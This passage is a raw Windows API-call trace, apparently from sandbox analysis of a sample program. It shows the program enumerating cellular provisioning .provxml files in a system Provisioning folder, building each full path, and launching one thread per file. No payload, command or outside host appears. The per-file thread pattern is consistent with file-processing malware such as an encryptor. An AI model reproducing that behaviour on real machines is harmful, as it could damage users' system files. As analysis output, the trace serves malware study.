dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0182.197] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916b2a9b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916b2a9b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916b2a9b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="637__C~1.PRO")) returned 1 [0182.197] wcscmp (_String1="637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0182.197] wcscmp (_String1="637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0182.197] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054d10 [0182.197] wcscpy (in: _Dest=0x3054d10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.197] wcscat (in: _Dest=0x3054d10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.197] wcscat (in: _Dest=0x3054d10, _Source="637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\637__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0182.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0182.198] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916b2a9b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916b2a9b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916b2a9b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="638__C~1.PRO")) returned 1 [0182.259] wcscmp (_String1="638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.259] wcscmp (_String1="638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.259] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2ff1678 [0182.259] wcscpy (in: _Dest=0x2ff1678, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.259] wcscat (in: _Dest=0x2ff1678, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.259] wcscat (in: _Dest=0x2ff1678, _Source="638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\638__Connections_Cellular_Mico-P - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" [0182.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0182.270] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d8d0a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916d8d0a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916d8d0a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", cAlternateFileName="639__C~1.PRO")) returned 1 [0182.270] wcscmp (_String1="639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.270] wcscmp (_String1="639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.270] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2ff0868 [0182.270] wcscpy (in: _Dest=0x2ff0868, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.270] wcscat (in: _Dest=0x2ff0868, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.270] wcscat (in: _Dest=0x2ff0868, _Source="639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" [0182.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0182.271] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90306b27, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90306b27, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90306b27, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml", cAlternateFileName="63__CO~1.PRO")) returned 1 [0182.271] wcscmp (_String1="63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.271] wcscmp (_String1="63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f02ac8 [0182.271] wcscpy (in: _Dest=0x4f02ac8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.271] wcscat (in: _Dest=0x4f02ac8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.271] wcscat (in: _Dest=0x4f02ac8, _Source="63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml" [0182.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02ac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0182.272] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d8d0a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916d8d0a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916d8d0a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="640__C~1.PRO")) returned 1 [0182.272] wcscmp (_String1="640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.272] wcscmp (_String1="640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.272] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa2c98 [0182.272] wcscpy (in: _Dest=0x2fa2c98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.272] wcscat (in: _Dest=0x2fa2c98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.272] wcscat (in: _Dest=0x2fa2c98, _Source="640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" [0182.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0182.273] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d8d0a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916d8d0a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916d8d0a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", cAlternateFileName="641__C~1.PRO")) returned 1 [0182.273] wcscmp (_String1="641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.273] wcscmp (_String1="641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa2e00 [0182.273] wcscpy (in: _Dest=0x2fa2e00, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.273] wcscat (in: _Dest=0x2fa2e00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.273] wcscat (in: _Dest=0x2fa2e00, _Source="641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\641__Connections_Cellular_AQL - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" [0182.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0182.274] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d8d0a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916d8d0a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916d8d0a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml", cAlternateFileName="642__C~1.PRO")) returned 1 [0182.274] wcscmp (_String1="642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.274] wcscmp (_String1="642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.274] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa3aa8 [0182.274] wcscpy (in: _Dest=0x2fa3aa8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.274] wcscat (in: _Dest=0x2fa3aa8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.274] wcscat (in: _Dest=0x2fa3aa8, _Source="642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml" [0182.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3aa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0182.274] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d8d0a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916d8d0a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916d8d0a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml", cAlternateFileName="643__C~1.PRO")) returned 1 [0182.274] wcscmp (_String1="643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.275] wcscmp (_String1="643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.275] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa3c10 [0182.275] wcscpy (in: _Dest=0x2fa3c10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.275] wcscat (in: _Dest=0x2fa3c10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.275] wcscat (in: _Dest=0x2fa3c10, _Source="643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml" [0182.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0182.275] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916fef72, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916fef72, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916fef72, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="644__C~1.PRO")) returned 1 [0182.275] wcscmp (_String1="644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.275] wcscmp (_String1="644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.275] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x160) returned 0x2fa2428 [0182.275] wcscpy (in: _Dest=0x2fa2428, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.275] wcscat (in: _Dest=0x2fa2428, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.276] wcscat (in: _Dest=0x2fa2428, _Source="644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\644__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" [0182.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0182.276] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916fef72, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916fef72, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916fef72, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", cAlternateFileName="645__C~1.PRO")) returned 1 [0182.276] wcscmp (_String1="645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.276] wcscmp (_String1="645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.276] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x160) returned 0x2fa33a0 [0182.276] wcscpy (in: _Dest=0x2fa33a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.276] wcscat (in: _Dest=0x2fa33a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.276] wcscat (in: _Dest=0x2fa33a0, _Source="645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\645__Connections_Cellular_X-Mobility - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" [0182.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa33a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0182.277] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916fef72, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916fef72, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916fef72, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="646__C~1.PRO")) returned 1 [0182.277] wcscmp (_String1="646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.277] wcscmp (_String1="646__Connections_Cellular_Macheen -3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.277] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2fa3238 [0182.277] wcscpy (in: _Dest=0x2fa3238, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.277] wcscat (in: 